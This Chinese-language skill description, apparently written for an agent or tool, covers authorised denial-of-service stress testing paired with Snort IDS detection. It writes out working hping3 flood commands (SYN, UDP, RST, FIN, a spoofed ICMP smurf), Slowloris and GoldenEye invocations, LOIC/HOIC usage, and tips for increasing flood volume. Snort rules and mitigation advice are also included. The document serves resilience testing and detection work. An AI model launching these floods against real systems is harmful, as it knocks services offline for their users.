用途
在获得书面授权的前提下,对网络与系统开展拒绝服务测试,评估其抗压与弹性能力,并配置入侵检测系统(IDS)识别和告警各类 DoS 攻击模式。技能覆盖基于流量(Volume Based)、基于协议(Protocol Based)与基于应用层(Application Layer)三类攻击,使用命令行与图形界面工具,并配合 Snort IDS 规则进行检测。
主要能力
- 攻击分类理解:Volume Based(以 bps 衡量,如 UDP flood、ICMP flood,目标为网络带宽);Protocol Based(以 pps 衡量,如 SYN flood、Ping of Death,目标为连接状态表);Application Layer(以 rps 衡量,如 HTTP flood、Slowloris,目标为 Web 服务器与应用)。
- 协议层测试:TCP SYN Flood、UDP Flood、SYN-FIN Flood、PUSH-ACK Flood、RST Flood、FIN Flood、ICMP Smurf 放大攻击。
- 应用层测试:Slowloris、GoldenEye。
- GUI 压测:LOIC(TCP Flood)、HOIC(HTTP Flood)。
- 检测配置:编写 Snort 规则,按 flags、protocol、threshold(type、track、count、seconds)等条件检测并告警。
- 交付物:抗压评估报告、IDS 规则配置、攻击模式分析(流量捕获与特征)、缓解建议。
使用方式与核心工作流
- 前置条件:安装 Hping3、Snort、Wireshark,获取 Slowloris 等工具;需具备 TCP/IP 协议基础、OSI 模型、流量分析与 IDS/IPS 配置知识,以及书面授权、隔离测试网络、目标系统管理员权限、IDS/Snort 配置访问权限。
- 理解 DDoS 分类后,按阶段执行测试:
- SYN Flood:
hping3 -S --flood -p 80 192.168.1.107;或用 Metasploitauxiliary/dos/tcp/synflood。 - UDP Flood:
hping3 --udp --flood -p 80 192.168.1.107,可加-d 1000指定数据大小。 - SYN-FIN Flood:
hping3 -SF --flood -p 80 192.168.1.107(无效标志组合)。 - PUSH-ACK Flood:
hping3 -PA --flood -p 80 192.168.1.107。 - RST Flood:
hping3 -R --flood -p 80 192.168.1.107。 - FIN Flood:
hping3 -F --flood -p 80 192.168.1.107。 - ICMP Smurf:
hping3 --icmp --flood 192.168.1.255 -a 192.168.1.107。 - 应用层:
python slowloris.py 192.168.1.107 -p 80 -s 500;python goldeneye.py http://192.168.1.107 -w 50 -s 500。 - GUI:LOIC 设置目标 IP、端口、方法、线程数后启动;HOIC 添加目标 URL、选择 Power、设置线程数后启动。
- SYN Flood:
- Snort 检测配置:编辑
/etc/snort/rules/local.rules添加规则,例如 SYN Flood:alert tcp any any -> 192.168.1.107 any (msg:"SYN Flood DoS"; flags:S; sid:1000006; threshold:type threshold, track by_src, count 100, seconds 1;),随后以 IDS 模式启动 Snort:sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0。 - 检测指标:SYN Flood(高 SYN、低 SYN-ACK)、UDP Flood(高 UDP、随机端口)、ICMP Flood(高 ICMP echo 请求)、Slowloris(大量半开连接)、HTTP Flood(高 HTTP 请求率)。
- 示例:包含完整 SYN Flood 测试流程(配置规则、启动 Snort、Wireshark 抓包、发起攻击、观察告警、分析捕获)、多向量测试(批量写入规则并顺序执行)、Slowloris 应用层测试(检查连接数、发起、监控、验证恢复)。
适用场景
- 自有或已获授权网络/系统的 DDoS 抗压与弹性评估。
- IDS/IPS(Snort)攻击检测规则的编写、调优与验证。
- 隔离实验环境中的攻击模式分析与流量特征提取。
- 安全加固前的缓解策略验证与推荐。
限制
- 法律与伦理:仅可测试自有或获得书面授权的系统;对生产系统发起 DDoS 属违法行为;须使用隔离测试网络、记录全部测试活动、避免业务时段、与网络管理员协调、准备回滚方案。
- 技术限制:测试结果受网络容量影响;CDN 与云防护可能干扰结果;部分攻击需要大量带宽;检测规则需按环境调优。
- 本文未提供具体定价、收费、平台兼容性等商业信息。
故障排查
- Snort 未检测到攻击:确认监听网卡、用
snort -T -c snort.conf校验语法、检查 HOME_NET 变量、降低阈值、确认流量到达接口。 - Hping3 洪泛过慢:使用
--faster/--flood、多源并发、增大网络缓冲区、使用专用网卡或专用压测工具。 - 目标未受影响:提高攻击量、目标可能有 DDoS 防护、检查路径过滤、用 Wireshark 确认到达、目标容量可能较高。
- 误报:提高阈值、为已知合法来源加例外、改用速率检测、白名单可信 IP、基于基线流量调优规则。
缓解建议
- 网络层:边缘路由器限速、服务器启用 SYN cookies、anycast 分布式吸收、硬件 DDoS 缓解、ACL 阻断已知攻击模式。
- 应用层:连接超时、带限速的反向代理、部署 WAF、按 IP 连接限制、可疑请求使用验证码。
- 基础设施层:CDN 吸收流量、按需地理封锁、云资源自动扩缩容、备用 DDoS 缓解服务、维护事件响应流程。